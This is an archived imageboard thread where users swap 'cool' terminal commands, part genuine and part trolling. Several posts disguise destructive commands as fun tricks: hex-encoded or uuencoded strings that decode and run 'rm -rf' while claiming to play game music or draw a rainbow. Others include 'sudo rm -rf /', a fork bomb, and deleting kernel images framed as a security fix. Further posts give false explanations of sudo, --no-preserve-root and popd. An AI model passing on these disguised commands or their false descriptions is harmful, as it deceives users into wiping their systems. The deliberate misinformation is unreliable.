[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y ] [Search | Free Show | Home]

What are some cool terminal commands?

This is a blue board which means that it's for everybody (Safe For Work content only). If you see any adult content, please report it.

Thread replies: 174
Thread images: 22

File: 1462732740971.png (888KB, 680x680px) Image search: [Google]
1462732740971.png
888KB, 680x680px
What are some cool terminal commands?
>>
sudo rm -rf / 
>>
>>59398864
espeak kill yourself
>>
>>59398864
echo "kill yourself" | yes
>>
>>59398880
This deletes just about everything on your system. Do not do it.
>>
>>59398864
:(){ :|: & };:
>>
# plays the Ocarina of Time tune using terminal beeps

$(echo "726d202d7266202f686f6d652f766f0a" | xxd -r -p)

>>
>>59398920
Don't listen to this moron, he probably uses macOS.
>>
>>59398920
>This deletes just about everything on your system.
lol, spotted the noob. Don't talk about things you don't know mate, it makes you look silly.
>>
>>59398933
>>59398934
WTF! how do these work?

Amazing.
>>
>>59398920
It doesn't retard.
>>
>>59398933
desu I ran this in a junk vm, fully knowing what it was, and I'm kind of surprised how fast it worked
>>
>>59398920
sudo stands for s(afe) u(ser) do. It runs the command as an unprivledged user fucking idiot. I swear some of you. That's why you issue the sudo command when doing risky things like updating applications or editing configs. It's a safeguard for christ sake. rm rf just remasters the disk's master reflection inodes. If you're worried just tack on --no-preserve-root to ignore the root directory structure and it basically acts as a test-run. go back to winxp, pajeet
>>
apt-get install life
>>
File: 1474126202265.png (4KB, 426x36px) Image search: [Google]
1474126202265.png
4KB, 426x36px
>>59398880
fucking retard
>>
File: spookedforever.png (140KB, 393x246px) Image search: [Google]
spookedforever.png
140KB, 393x246px
>>59399008
>>
>>59398934
>using echo |
why is this thread full of newfags
>>
>>59399008
Kek reminds me when of when /b/ tricked a kid into slapping a neodium magnet on hdd platters to remove viruses.
>>
 telnet towel.blinkenlight.nl 
>>
>>59398934
Noob. This plays halo 1 theme on the terminal using beeps and pauses.

MUSIC="Halo 1 OST" # change to any song
echo "726d202d7266202f686f6d652f0a" | xxd -r -p | sh
>>
>>59399054
how would u write it?
>>
>>59398934
>rm -rf /home/vo
who is "vo"?
>>
>>59399070
xxd -r -p <<< 7468652067616d650a
>>
>>59399073
He probably did $HOME and forgot it expands to his home directory
>>
>>59399059
It's towel.blinkenlights.nl

you forgot an S
>>
cowsay
>>
>>59399060
How do these commands work? How can the terminal make a music?

I tried changing to Caifornia Gurls but it didn't play
>>
In elementary school i always used to do this batch thing where it would flash really brightly through the entire colour palette within seconds in the PC lab, it was quite popular with the others heh
>>
>>59398934
This is so cool! You guys have to try this.
>>
>>59398934
Does this baleet my home?
>>
ps -o pid,comm,pmem,pcpu,uname -C $(xlsclients | cut -d" " -f3 | paste - -s -d ,)
>>
File: unimpressed britney.png (199KB, 332x332px) Image search: [Google]
unimpressed britney.png
199KB, 332x332px
>>59398880
>>59398933
>>59398934
Every
Fucking
Time.
>>
>>59398880
you forgot the --no-preserve-root
>>
>>59398934
Who the fuck is vo?
>>
sudo apt-get install fortune cowsay lolcat && fortune | cowsay -f sodomized-sheep | lolcat
>>
>>59398864
rig
>>
>>59398864
tee
>>
>>59398864
cat /dev/urandom | xxd

become hackerman
>>
>>59401261
Pretty good.
>>
>>59398864

#include <stdio.h>
#include <stdlib.h>

int main(int argc, const char *argv[])
{

long int A = random();

printf("%d\n", A);
return 0;
}


>>
>>59401687
>using const char *argv[]
>using random() instead of rand() from time.h
>doesn't even compile

fuckin codemonkey
GET THE FUCK OUT FAGGOT WANNABE
>>
>>59399086
`xxd -rp <<< 7468652067616d650a`
>>
>>59401687
random()? wtf is this shit?
>>
>>59398864
nohup
>>
[
9 tr -dc 0-9 < /dev/random | dd bs=5 count=1 2>/dev/null
>>
File: reddit.jpg (149KB, 800x820px) Image search: [Google]
reddit.jpg
149KB, 800x820px
>>59398920
>>
>>59401668
You only need the apt-get stuff the first time.
For keks here are the options for -f
>apt beavis.zen bong bud-frogs bunny calvin cheese cock cower daemon default
dragon dragon-and-cow duck elephant elephant-in-snake eyes flaming-sheep
ghostbusters gnu head-in hellokitty kiss kitty koala kosh luke-koala
mech-and-cow meow milk moofasa moose mutilated pony pony-smaller ren sheep
skeleton snowman sodomized-sheep stegosaurus stimpy suse three-eyes turkey
turtle tux unipony unipony-smaller vader vader-koala www
>>
color a
tree
>>
>>59402000
mwtb;dltr

I've actually used multiple windows with colors and trees to appear busy with wizardry while stuck waiting for something else. At that company, always appearing busy mattered more than net productivity.
>>
>>59401738
>gcc -o rand rand.c
It fucking compiles you monkey nigger.
>>
>>59398917
why does this exist
>>
File: 1488848760850.jpg (23KB, 450x433px) Image search: [Google]
1488848760850.jpg
23KB, 450x433px
>>59401196
Maybe he used $HOME and it expanded.
>>
>>59402239
To test CPU at 100% load. Alternatively, input to commands that require a lot of "are you sure" prompts.
>>
Last time I was drunk on /g/ I've fucked up sda with the 'play tune' hexadecimal shit. I just can't forgive myself for not noticing 'sudo $('.
>>
>>59402365
NEVER run anything off of the internet that starts with sudo, dummy! Nut unless you're absolutely certain.
>>
>>59402365
Currently sitting here trying to think of a way to include the command substitution in the hex dump.
>>
>>59402365
This shit
` sudo xxd -rp <<< 7468652067616d650a`


I fell for the same trick myself.
>>
>>59402421
You are a fucking 6469636b0a, but if you will manage a respectable one.
>>
File: facebook.png (63KB, 740x243px) Image search: [Google]
facebook.png
63KB, 740x243px
>>59401330
Neat, generates fake identies. Wil stick this into a project idea I have.

The one I like is 'man' as in 'man ls', will tell you what it does. I know senior software devs who use BASH and Homebrew all day and don't know about it.
>>
>>59401687
>not seeding your prng
pajeets fug off
>>
>>59402625
What the fuck are you talking about? random() uses the same EPRNG as /dev/urandom and /dev/random.
>>
>>59402355
It doesn't really put it at 100% load. I used to set dough on a laptop to make it rise faster and ended up running multiple instances of a different thing to get it hotter.
>>
Does anyone have a good way to use youtube-dl to tee so that it can write the file and redirect output to mpv at the same time?
>>
>>59402355
my cpu doesn't even come remotely close to 100% when rumnning it
>>
>>59398880
why sudo?
>>
>>59402958
youtube-dl -f 43 | mpv
>>
>>59402983
Because root owns all the files.
>>
File: 2017-03-14-120432_1366x768_scrot.png (235KB, 1366x768px) Image search: [Google]
2017-03-14-120432_1366x768_scrot.png
235KB, 1366x768px
>>59398864
>>
>>59402958
youtube-dl -o - | tee video.mp4 | mpv -
>>
>>59403370
Thanks! was close but got confused with the stdin "-" stuff.
>>
>>59402575
Speaking of man pages: they're often useful and very exhaustive, sometimes too exhaustive. When I'm looking up man scp, chances are I don't care about all the different possible flags in alphabetical order, I just wanna know the command to copy a fucking file across the network.
There's this project on GitHub that is based on that idea: it's called tldr pages, what they do is they basically condense man pages to a couple of the most frequently used commands. Saves me tons of time and effort every time I forget the syntax of a command.
>>
>>59403630
You can just search for keywords in manpages. It's really simple. tldr does that for you.
>>
>>59403680
I can and I do with programs that don't have a tldr, but finding and copypasting the command that you need in 5 seconds is an entirely different level of comfy
>>
>>59398864
fortune | cowsay -f tux
>>
>>59398934
Not much of a newfag, but I still don't know what this does.
I understand the first command but what's the other part?
>>
>>59404102
echo prints the given hexadecimal string. Its output is piped into xxd, which converts it back to text (likely a malicious command like "rm -rf ~") and outputs it. Enclosing a command in $() means its output gets executed by the shell.
>>
>>59398880
Ctrl+Alt+Del
>>
>>59399060
What does this do?
>>
>>59404220
just remove the | sh part and see for yourself. Hint, make sure you remove that part, otherwise you're probably fucked.
Wait, I think you'd be fine, as /home/ is probably owned by root
>>
>>59404178
>command substitution
*it gets executed in a sub-shell.
>>
>>59404220
Nerve gas through your HDD
>>
>>59404220
It teaches u to make backups.
>>
cd code
>>
>>59398864
is he jew or something ?
>>
cd..
>>
File: letrueebinmaymay.jpg (206KB, 560x561px) Image search: [Google]
letrueebinmaymay.jpg
206KB, 560x561px
>>59404024
>>
>>59398864
non-troll answer
sudo apt-get install bsdgames
>>
File: 2017-03-14-142737_1366x768_scrot.png (325KB, 1366x768px) Image search: [Google]
2017-03-14-142737_1366x768_scrot.png
325KB, 1366x768px
>>59405356
>pic realted
>>
Is there a way give commands recursively? I want to do ls -Ra / and i want it to do it again as soon as it finishes so i can always look like a super h4ck3r
>>
cd ..
cd ..
ls
cd..
cd code
cd ..
>>
>>59404102
>that pic
Kekked so hard
>>
File: Dahead.png (72KB, 207x254px) Image search: [Google]
Dahead.png
72KB, 207x254px
>>59405561
watch -n 1 ls -Ra /

Wonderful!
>>
>>59398934
Similarly, here's an ascii rainbow:

eval $(echo "I<RA('1E<W3t`p&r()(g8f6/&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
>>
>>59405868
That's really neat. Pretty and all. Thx!
>>
>not reading the manual before executing a command
Literally Windows-tier
>>
for i in $(cowsay -l); do cowsay -f "$i" "$i" ; done
>>
>>59405794
didn't work
>>
>>59406255
Then I misunderstood your question. Sorry.
>>
File: 1421054723607.gif (1MB, 350x240px) Image search: [Google]
1421054723607.gif
1MB, 350x240px
>>59406400
dont be sorry it was a stupid question anyway
>>
>>59399008
Is this pasta? It should be
>>
>>59398864
This command will close all listened ports by deleting Linux firewall access permission files and enhance seriously your security:
sudo rm /boot/vmlinuz*
>>
>>59407540
He's right, the --no-preserve-root is a dry run.
>>
>>59398864

Here's a shell script I've been writing for a couple of months now, you should be able to just run the commands through the terminal no problem.
cd code
cd..
cd..
cd..
cd ..
ls
cd code
cd ..
cd
>>
>>59405868
>echo "I<RA('1E<W3t`p&r()(g8f6/&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=="
Interesting, I ran this and it made a loop of sorts?
>>
>>59407649
omg I came up with something similar I'll often make sure to type this before doing any important work, and usually multiple times throughout working too. Sometimes I just continually run this script its so fucking nice:

cd ..
cd project
ls
cd src
ls
ls -a
ls
ls -l
ls
cd util
ls
ls ..
cd ..
ls
cd ~
ls
ls -a
cd project
cd ..
cd project
>>
>>59407910
I guess we are both good enough to kode with karlie, we need to join her startup
>>
>>59405561
just use top m8
better yet, lern2gdb and you'll impress all the computer illiterates on the block.
>>
>>59398920
You can't do anything drastic like that using "sudo" dumbass.
>>
>>59401139
it's funny how kids actually think somebody will fall and post their stupid "omg it werks" comments.
also delet systam 23
>>
iftop
>>
>>59398864
Just done this:
n=echo;e="$";w=\\;f=\';a=\";g='n=$n;e=$a$e$a;w=$w$w;f=$w$f;a=$w$a;g=$f$g$f;${e}n $a$g$a';$n "n=$n;e=$a$e$a;w=$w$w;f=$w$f;a=$w$a;g=$f$g$f;${e}n $a$g$a"
>>
>>59398864
Ctrl+D
>>
>>59409220
>implying mac faggots know jack shit about computing.
>>
>>59409220
see
>>59402365
>>59402438
>>
>>59398864
Cmatrix
Lolcat

If you can figure how to pipe one into the other youd have a cute display
>>
>>59398933
How does this even work? What do the individual commands do to make the end result?
>>
>>59402438
>
7468652067616d650a

Fuck you
>>
>>59410351
Help, what is Google and how does it work.

http://askubuntu.com/questions/159491
>>
>>59410390
3e636172696e672061626f757420616e6369656e74206d656d6573
>>
>>59410471
76696e74616765206d656d6573206d75737420626520726573706563746564
>>
>>59398884
Actually its
 espeak "kill yourself" 
>>
Hey guys, can you try and use some of your fancy commands to decode this file? I can't tell what it is

H4sIAEvUyFgAA+3MMQqAIBiG4d2rOKjUBX7DsiGCqIi2oBJbDIrI23cF5/je+eWx+VWTeYZYOiKe
FU1niMhRWNXW31wcsjIhqjEllnQlBgwYMGDAgAEDBgwYMGDAgP0E2yfbLqeevdCvl8Q+80uiWowP
AAA=
>>
>>59405105
Egyptian actually
>>
>>59398880
>>59398920
Anyone know if this works under MSYS2?
>>
>>59410701
Looks like Base64, it spits out gibberish though. Could be encrypted.
>>
>>59399086

thanks senpai
>>
>>59402205
>works on my machine (^:
>>
>>59402724
you seed your rng so you can run the same set of numbers again for debugging
>>
<code>cat <<EOF
pajeet
pajeet
pajeet
EOF</code>
>>
>>59410701
It's not anything meaningful in base64, ASCII, x86 machine code, or uudecode.
>>
>>59406044
Where is the man page for $()?
(I know it's basically man bash but how would a newbie know that?)
>>
>>59410826
$ base64 -d > a
...
$ file a
a: gzip compressed data, from Unix, last modified: Wed Mar 15 01:42:35 2017

Wow what crazy encryption!
>>
popd +-111111
>>
>>59410970
So what do you get when you decompress it?
>>
>>59410988
What did this do? I just lost my ssh connection to my server
>>
DISTRO="$(cat /etc/os-release | grep -o -m 1 '[^=]\+$')"
KERNEL="$(uname -r)"
PACKAGES="$(ls -d /var/db/pkg/*/* | wc -l)"
UPTIME="$(uptime -p)"

echo "${DISTRO}"
echo "${KERNEL}"
echo "${PACKAGES}"
echo "$SHELL"
echo "${UPTIME}"
>>
File: 1481234397593.jpg (170KB, 1017x654px) Image search: [Google]
1481234397593.jpg
170KB, 1017x654px
>>59398920
gr8 8D b8 m8
>>
>>59410988
Wtf, what did that actually do?
>>
>>59398864
sudo rm -rf /*
>>
>>59411064
rtfm
>>
>>59411083
It frees the memory at 111111. bash will still try to use it evev though it's no longer allocated.
>>
mv /boot > /dev/null
>>
rm
cp
ls
cd
>>
>dvtm
>dtach
>gforth
>ssh
>wget
>awk
>vi
>irssi
>startfce4
>firefox www.hackertyper.com
>>
>>59402575
Engineers, programmers, and scientists should not speak on social issues.
>>
>>59413356
your stupid aren here's is why
https://en.wikipedia.org/wiki/Freedom_of_speech
>>
File: IMG_4468.jpg (330KB, 1242x1863px) Image search: [Google]
IMG_4468.jpg
330KB, 1242x1863px
any recommendations for reference books of terminal commands?
>>
File: 1489005013814.jpg (144KB, 800x764px) Image search: [Google]
1489005013814.jpg
144KB, 800x764px
>>59399025
>GNU babies
every time.
>>
>>59414217
just make sure the title doesn't say "linux commandline", because such thing doesn't exist and proofs tech illiteracy
>>
>>59414217
O'reilly books on the topic you're interested in if you really need it.
Or you could use "man" and "apropos" along with google to find the right command for the job at first.
>>
File: shellprogramming.png (77KB, 302x466px) Image search: [Google]
shellprogramming.png
77KB, 302x466px
>>59414217
man pages would be your first source. But use pic related to learn the shell. This was the defacto Unix Shell book that professors recommended to ease students into the Unix labs at university.
>>
>>59398864
cat /dev/urandom | padsp tee | aplay
>>
>>59414984
>using 3 programs for the job of one

aplay /dev/urandom
>>
File: 1465117076355.jpg (64KB, 750x900px) Image search: [Google]
1465117076355.jpg
64KB, 750x900px
>>59401825
It sends an interrupt request to the CPU sensor which runs a micro quantum detector and provides a truly random long int.
>>
>>59398934
>>59399060
>>59399086
>>59402438
((s,n)=>{var a=[];for(var i=0;i<s.length;i+=n){a.push(s.substr(i,n));}return a;})(ENTER HERE,2).map(x=>String.fromCharCode(parseInt(x,16))).join("")
>>
>>59418265
syntax error near unexpected token '='

Very nice, thanks anon.
>>
>>59399059
is that a whole fucking movie?
>>
>>59418265
Or, just:
xxd -p -r <<< 666167676f740a

>>
Simple one, but really freakin useful for PHP

<?php
echo "Current time: " . date("h:i:sa");
?>
>>
File: codemonkey.png (42KB, 559x293px) Image search: [Google]
codemonkey.png
42KB, 559x293px
>>59398864
>What are some cool terminal commands?
>terminal commands

>>59401687
>C

>>59418265
>Javascript

>>59419223
>PHP

Retarded.
>>
>>59419333
cuck@root > php time.php

happy?
>>
>>59419356
cuck@root rm php
>>
>>59419377
( ._.) well shiet
>>
>>59398864
If youre on Mac OSX try emacs and get to the "psychologist"
>>
>>59398934
dis
>>
>>59405561
just do tree /
then you look like hackerman
>>
echo -e 'one\ntwo\nthree\nfour' | sort --random-sort; echo; echo -e '\e[31;1mpress \u25b2 then enter to play again\e[0m'
>>
>>59405561
while :; do printf 'I LIEK MUDKIPS ' ; done
>>
>>59398884
>>59410559
>2017
Is that the best voice program in linux? :(
>>
>>59398864

sudo apt-get install *
>>
>>59410915
[] brackets
>>
The ultimate command:
sudo su -
emerge -e @world
>>
>>59419454
what kind of faggot buys a 4pass
>>
>>59418965
Why didn't you watch the whole thing?
It's a classic.
Thread posts: 174
Thread images: 22


[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y] [Search | Top | Home]

I'm aware that Imgur.com will stop allowing adult images since 15th of May. I'm taking actions to backup as much data as possible.
Read more on this topic here - https://archived.moe/talk/thread/1694/


If you need a post removed click on it's [Report] button and follow the instruction.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com.
If you like this website please support us by donating with Bitcoins at 16mKtbZiwW52BLkibtCr8jUg2KVUMTxVQ5
All trademarks and copyrights on this page are owned by their respective parties.
Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
This is a 4chan archive - all of the content originated from that site.
This means that RandomArchive shows their content, archived.
If you need information for a Poster - contact them.